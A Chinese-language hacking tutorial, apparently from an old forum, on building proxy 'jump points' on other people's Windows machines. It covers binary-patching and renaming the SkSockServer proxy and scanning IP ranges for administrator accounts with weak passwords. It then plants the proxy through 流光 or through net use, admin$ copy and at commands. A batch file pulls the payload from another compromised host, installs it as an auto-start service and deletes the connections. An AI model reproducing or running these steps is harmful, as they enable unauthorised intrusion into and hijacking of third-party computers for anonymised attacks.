要求：你的电脑必须是2000或者xp。 工具： 1.SkServer (version 1.09 24kb) http://snake.gnuchina.org/SkSockServer/SkSockServer.htm 2.UltraEdit http://www.skycn.com/soft/2249.html 3.X-Scan http://www.heibai.net/download/show.php?id=2942 4.流光47 http://www.heibai.net/download/show.php?id=2277
http://www.heibai.net/download/show.php?id=2282
http://www.heibai.net/download/show.php?id=2422
http://www.netxeyes.org/down.html 下载完毕后： A：修改snake跳板和做批处理文件。 1.打开UltraEdit，点左上角“文件”---再点 “打开”----然后找到 SkServer 双击。 2.点UltraEdit左上角“查找（S）”----“查找（F）”----在“查找ASCII（A）”前面空格打勾----在“查找内容（N）”中填上 SkServer -----点查找下一个（F）----然后
<1>将所有找到的SkServer全部替换为8位的英文字母，比如我的网名：binglibz 。
<2>再查找所有Snake SockProxy Service，将其替换为23位的英文或者数字和空格，如 bing libuz 2002 hanbing <3>在打开的 SkSockServer.exe 找到：
00003720h: 14 66 C7 44 24 10 02 00 89 44 24 18 BE 01 04 00
改为： 00003720h: 14 66 C7 44 24 10 02 00 89 44 24 18 BE A0 0F 00
即是把其中的01 04改为A0 0F 3.好了，任务完成！关闭UltraEdit，弹出窗口问你：“要将更改保存到SkSockServer？”
----点“是”。
4.把鼠标移到SkSockServer上，点右键，选“重命名（M）”把 SkSockServer 重命名为"blbz"（字数不限制）。
5.打开电脑中的 记事本 把以下内容复制粘贴到 记事本 中： @echo off
blbz -install
blbz -config starttype 2
blbz -config port 22188
net start binglibz 然后保存。名字随便你喜欢就好，比如hanbing 。
（注意：这个22188端口可以另外设你喜欢的，从1到65535都可以）
6.用UltraEdit打开hanbing，点“打开”里面的“另存为”，在弹出窗口中的“保存类型（T）：”的下拉列表中选“bat文件（*BAT）”，然后点保存。 好了，完成了两个“武器”：
1.blbz.exe
2.hanbing.bat B：扫弱口令： 打开x－can
（1）在设置中的扫描参数填入要搜索的IP段，
（2）在设置中的扫描模块勾选nt-server弱口令，
（3）等待检测端口填80和3389。
（4）开始
（5）扫描完毕后最好把得到的弱口令ip和管理帐户和弱口令另存在记事本，注意有“帐户类型: 管理员(Administrator)”的ip，才可以做跳板。
C：种植blbz.exe和hanbing.bat
1.打开流光，点工具（T）---点NTIIS工具----选择“种植者（P）”---在弹出窗口填上在x-scan扫得的ip，帐户，弱口令。 2.点“本地文件”那个“ 》”，找到blbz.exe 。 3.记得清空“启动命令”，然后开始。 4.第3步完成后再打开种植者，-----“ 》”----把“文件名（N）”框中的“*.exe”改为“*.*”，你就可以见到hanbing.bat了，也即流光默认传的是exe ,把*.exe改为*.* 然后选打开.就可以传.bat文件了。 5.和种植blbz.exe不同的地方，不要清空“启动命令”。 大功告成！60秒后，就可以把那个弱口令ip和22188端口填上QQ，或者放到代理跳板GUI版本中使用为代理了。 好了，以后你就可以用自己制作的blbz.exe和hanbing.bat做跳板了，只需两步种植，大概1分钟你就建成一个跳板了。 补充： 有朋友问：为什么要给跳板改名？
冰力不足：因为以后大家各做各的跳板，就不会一只肉鸡只能做一个跳板了，你也不用担心别人已经建了你不能再做跳板。井水不犯河水。 问：为什么我用不了流光的管道命令？
答：你把流光加在跳板中使用，就可以了，虽然流光是不能用跳板改变ip的。 实际上，不用种植者也可以直接用本机上的cmd建跳板： 1、连接：net use 肉鸡ipipc$ "密码" /user:"帐户"
2、再把跳板和批处理文件copy过去：
copy 要复制过去的文件名 肉鸡ipadmin$system32
3、用at命令启动批处理文件：
查肉鸡时间：net time 肉鸡ip
命令某软件某时间启动：
at 肉鸡ip 时间（24小时制，最好是肉鸡时间再加上几分钟） 软件名.bat 不过讲究速度还是种植者最快。 还有，也可以一步就建立跳板的，把以下批处理文件直接种植到肉鸡（blbz应换为你修改后的跳板名）： @echo off
net use 你放有上传文件的另一只肉机的IP "另一只肉机密码" /u:"另一只肉机帐户"
copy 你放有上传文件的另一只肉机的IPD$blbz.exe c:winntsystem32
blbz -install
blbz -config starttype 2
blbz -config port 22188
net start binglibz
net use * /delete /y
exit 在实际应用中，我把.bat用bat2exe软件改为exe，口令是BAT2EXEC *.bat，种植起来就更省事了。 | 
